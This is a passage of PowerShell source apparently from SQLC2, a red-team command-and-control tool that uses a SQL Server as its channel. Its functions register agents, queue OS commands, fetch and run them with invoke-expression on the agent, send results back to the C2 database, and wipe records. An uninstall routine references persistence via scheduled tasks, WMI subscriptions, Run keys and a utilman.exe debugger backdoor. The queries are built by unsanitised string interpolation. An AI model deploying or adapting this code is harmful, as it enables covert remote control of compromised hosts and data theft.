        $null = $TblDatabases.Columns.Add('ServerName')
        $null = $TblDatabases.Columns.Add('Command')
        $null = $TblDatabases.Columns.Add('Status')
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }        

        # Setup query to grab commands
        $Query = "
             -- checkin as agent
            IF not Exists (SELECT * FROM dbo.C2Agents WHERE servername = '$env:COMPUTERNAME')
                INSERT dbo.C2Agents (servername,agentype) VALUES ('$env:COMPUTERNAME','PsProcess')
            ELSE
            UPDATE dbo.C2Agents SET lastcheckin = (select GETDATE ())
            WHERE servername like '$env:COMPUTERNAME'"


        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose

        Write-Verbose "$instance : $env:COMPUTERNAME agent registered/checked in."
    }

    End
    {
        # Return data
        $TblResults        
    }
}


# ----------------------------------
# Get-SQLC2Agent
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLC2Agent 
{
    <#
            .SYNOPSIS
            This command should be run against the C2 SQLserver and will return a list of agents.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .PARAMETER Table
            Table name to that contains target column.
            .PARAMETER Column
            Column that contains the TSQL command to run.
            .EXAMPLE
            PS C:\> Get-SQLC2Agent-Instance "SQLServer1\STANDARDDEV2014" -Database database1
            PS C:\> Get-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }        

        # Setup query to grab commands
        $Query = "SELECT * FROM dbo.c2agents"

        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose        
        $AgentCount = $TblResults | measure | select count -ExpandProperty count

        Write-Verbose -Message "$Instance : $AgentCount agents were found registered."
    }

    End
    {
        # Return data
        $TblResults        
    }
}


# ----------------------------------
# Set-SQLC2Command
# ----------------------------------
# Author: Scott Sutherland
Function Set-SQLC2Command
{
    <#
            .SYNOPSIS
            This functions stores a command in the C2COMMAND table of the C2 SQL Server.
            This command should be run against the C2 SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .PARAMETER ServerName
            ServerName to run the command on. By default it is all nodes.
            .PARAMETER Command
            Command to run on the agent.
            .EXAMPLE
            PS C:\> Set-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Command 'whoami' -ServerName host1
            PS C:\> Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 -Command 'whoami' -ServerName host1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'ServerName of the agent.')]
        [string]$ServerName,

       [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Command to run on the agent.')]
        [string]$Command,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $TblDatabases = New-Object -TypeName System.Data.DataTable
        $null = $TblDatabases.Columns.Add('ServerName')
        $null = $TblDatabases.Columns.Add('Command')
        $null = $TblDatabases.Columns.Add('Status')
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }

        # Setup agent node filtering based on servername
        If(-not $ServerName){
            $ServerName = "All"
        }

        # Test connection
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."                
                Write-Verbose "$instance : Command: $Command"
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }        

        # Set command for single agent
        $Query = "INSERT dbo.C2COMMANDS (ServerName,Command,Status) VALUES ('$ServerName','$Command','pending')"

        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose

        Write-Verbose "$instance : Command added for $ServerName agent(s)."
    }

    End
    {
        # Return data
        $TblResults
    }
}


# ----------------------------------
# Get-SQLC2Command
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLC2Command
{
    <#
            .SYNOPSIS
            This command gets a command from a table on a remote c2 SQL Server.
            This command should be run on the c2 agent system so it can pull down
            any commands the C2 server has for it to execute.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .PARAMETER Execute
            Run all of the commands downloaded from the C2 server on the agent system.
            .EXAMPLE
            PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1
            .EXAMPLE
            PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Execute
            .EXAMPLE
            PS C:\> Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Execute commands from c2.')]
        [switch]$Execute,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose "$instance : Attempting to grab commands to execute."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }     
        
        # Check in the server
        Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null

        # Setup query to grab commands
        $Query = "SELECT * FROM dbo.c2commands where status like 'pending' and (servername like '$env:COMPUTERNAME' or servername like 'All')"

        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 

        # check command count
        $CommandCount = $TblResults | measure | select count -ExpandProperty count

        Write-Verbose "$instance : $CommandCount commands were found for $env:COMPUTERNAME."
    }

    End
    {
        # Process command execution
        if($Execute){
            
            # Loop through pending commands
            $TblResults | ForEach-Object {

               # Grab command
               $C2CommandId = $_.cid
               $C2Command = $_.command
               
               # Execute command
               Invoke-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId
            }
        }else{

             # Return data
            $TblResults
        }
    }
 }


# ----------------------------------
# Invoke-SQLC2Command
# ----------------------------------
# Author: Scott Sutherland
Function Invoke-SQLC2Command
{
    <#
            .SYNOPSIS
            This command should be run on the agent system. It will execute a OS command locally and
            return the results to the C2 SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .PARAMETER Command
            The OS command to run.
            .EXAMPLE
            PS C:\> Invoke-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1
            PS C:\> Invoke-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'The OS command to run.')]
        [string]$Command,

        [Parameter(Mandatory = $true,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'This is the unique command id provide from the server.')]
        [Int]$Cid,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        Write-Verbose "$env:COMPUTERNAME : Running command $Cid"
        Write-Verbose "$env:COMPUTERNAME : Command: $Command"

        # Run the command
        try{
            $CommandResults = invoke-expression "$Command" 
            Write-Verbose "$env:COMPUTERNAME : Command complete." 
            $CommandStatus = "success"
        }catch{
            Write-Verbose "$env:COMPUTERNAME : Command failed. Aborting." 
            $CommandStatus = "failed"
        }                         

        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }     
        
        # Check in the server
        Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null

        # Setup query to grab commands
        Write-Verbose -Message "$Instance : Uploading command results to C2 server."  
        $Query = "
             -- update command request from server
            UPDATE dbo.C2COMMANDS SET lastupdate = (select GETDATE ()),result = '$CommandResults',status='$CommandStatus',command='$Command'
            WHERE CID like $Cid"


        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 

        Write-Verbose "$instance : Upload complete."        
    }

    End
    {
        # Return data
        $TblResults
    }
 }


# ----------------------------------
# Get-SQLC2Result
# ----------------------------------
# Author: Scott Sutherland
Function Get-SQLC2Result
{
    <#
            .SYNOPSIS
            This function gets command results from the C2 SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .PARAMETER ServerName
            Filter by server name.
            .PARAMETER Cid
            Filter by command id.
            .PARAMETER Status
            Filter by status.
            .EXAMPLE
            PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1
            PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Cid 1
            PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Status "Success"
            PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName "Server1"
            PS C:\> Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Filter by server name.')]
        [string]$ServerName,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Filter by Status.')]
        [ValidateSet("pending","success","failed")]
        [string]$Status,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Filter by command ID.')]
        [string]$Cid,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable

        # Create ServerName filter
        if($ServerName){
            $FilterServerName = "WHERE servername like '$ServerName'"
        }else{
            $FilterServerName = ""
        }
            
        # Create Status filter
        if($Status){
            $FilterStatus = "WHERE status like '$Status'"
        }else{
            $FilterStatus = ""
        }
            

        # Create ServerName filter
        if($Cid){
            $FilterCid = "WHERE cid like '$Cid'"
        }else{
            $FilterCid = ""
        }
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose "$instance : Attempting to grab pending and processed commands."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }     
                
        # Setup query to grab commands
        $Query = "
            SELECT * FROM dbo.c2commands
            $FilterServerName
            $FilterStatus
            $FilterCid
            "


        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 

        # check command count
        $CommandCount = $TblResults.row.count 

        Write-Verbose "$instance : $CommandCount commands were found."
    }

    End
    {
        # Return data
        $TblResults
    }
 }


# ----------------------------------
# Remove-SQLC2Command
# ----------------------------------
# Author: Scott Sutherland
Function Remove-SQLC2Command
{
    <#
            .SYNOPSIS
            This command clears the command history on the remote c2 SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .PARAMETER ServerName
            Server name to clear command history for.
            .EXAMPLE
            PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1
            .EXAMPLE
            PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1
            .EXAMPLE
            PS C:\> Remove-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Server to clear command history for.')]
        [string]$ServerName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable

        if($ServerName){
            $ServerFilter = "WHERE servername like '$ServerName'"
        }else{
            $ServerFilter = ""
        }
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose "$instance : Attempting to clear command history from $Instance."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }     
        
        # Setup query to grab commands
        $Query = "DELETE FROM dbo.C2COMMANDS
                  $ServerFilter"


        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 
    }

    End
    {
        Write-Verbose "$instance : Done."
    }
 }


# ----------------------------------
# Remove-SQLC2Agent
# ----------------------------------
# Author: Scott Sutherland
Function Remove-SQLC2Agent
{
    <#
            .SYNOPSIS
            This command clears the agents registered on the remote c2 SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name that contains target table.
            .PARAMETER ServerName
            Server name to clear command history for.
            .EXAMPLE
            PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1
            .EXAMPLE
            PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1
            .EXAMPLE
            PS C:\> Remove-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database containing target C2 table.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
                ValueFromPipeline = $true,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Server to clear command history for.')]
        [string]$ServerName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable

        if($ServerName){
            $ServerFilter = "WHERE servername like '$ServerName'"
        }else{
            $ServerFilter = ""
        }
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose "$instance : Attempting to clear agent(s) from $Instance."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }     
        
        # Setup query to grab commands
        $Query = "DELETE FROM dbo.C2AGENTS
                  $ServerFilter"


        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 
    }

    End
    {
        Write-Verbose "$instance : Done."
    }
 }


# ----------------------------------
# Uninstall-SQLC2AgentPs
# ----------------------------------
# Author: Scott Sutherland
Function Uninstall-SQLC2AgentPs
{
    <#
            .SYNOPSIS
            This command removes the SQLC2 scheduled task and WMI subscription agent beacons from the current system.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            .EXAMPLE
            PS C:\> Uninstall-SQLC2AgentPs -verbose
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        Write-Verbose "Attempting to remove the SQLC2 persistence methods."
    }

    Process
    {
        # Remove the schedule tasks
        Write-Verbose "Remove Scheduled Task."
        if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 1)
        {
            try{
                Unregister-ScheduledTask -TaskName "SQLC2AgentPS" -Confirm:$false
                Write-Verbose " - Scheduled task removed."
            }catch{
                Write-Verbose " - Task could not be removed."
            }
        }else{
            Write-Verbose " - SQLC2PS Scheduled task does not exist."
        }

        <#
        # Remove the WMI subscription
        Write-Verbose "Remove WMI Subscription."
 
        # Remove WMI Filter
        # Write-Verbose " - Checking for filter."
        if((Get-WmiObject -Namespace root/subscription -Class __EventFilter | where name -like “*SQLC2PS_Filter*”).count -eq 1)
        {
            Write-Verbose " - Removing SQLC2AgentPS WMI filter."
            Get-WmiObject -Namespace root/subscription -Class __EventFilter | where name -like “*SQLC2AgentPS_Filter*” | Remove-WmiObject
        }else{
            Write-Verbose " - SQLC2AgentPS WMI filter does not exist."
        }
 
        # Remove WMI Consumer
        # Write-Verbose " - Checking for consumer."
        if((Get-WmiObject -Namespace root/subscription -Class __EventConsumer | where name -like “SQLC2AgentPS_Consumer*”).count -eq 1)
        {
            Write-Verbose " - Removing SQLC2AgentPS WMI consumer."
            Get-WmiObject -Namespace root/subscription -Class __EventConsumer | where name -like “SQLC2AgentPS_Consumer*” | Remove-WmiObject
        }else{
            Write-Verbose " - SQLC2AgentPS WMI consumer does not exist."
        }
 
        # Remove WMI Binding
        # Write-Verbose " - Checking for binding."
        if((Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | where name -like “*SQLC2AgentPS_Binding*”).count -eq 1)
        {
            Write-Verbose " - Removing SQLC2AgentPS WMI binding."
            Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | where name -like “*SQLC2AgentPS_Binding*” | Remove-WmiObject
        }else{
            Write-Verbose " - SQLC2AgentPS WMI binding does not exist."
        }
        #>


        # Remove the registry run keys
        Write-Verbose "Remove registry run keys."
        try{
            Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null        
            Remove-ItemProperty  -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction SilentlyContinue  | Out-Null
            Write-Verbose " - Registry run keys removed."
        }catch{
            Write-Verbose " - SQLC2AgentPS run registry key does not exist."
        }

        # Remove utilman.exe debugger from registry
        Write-Verbose "Remove utilman.exe debugger registry keys."
        if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\")
        {
            try{
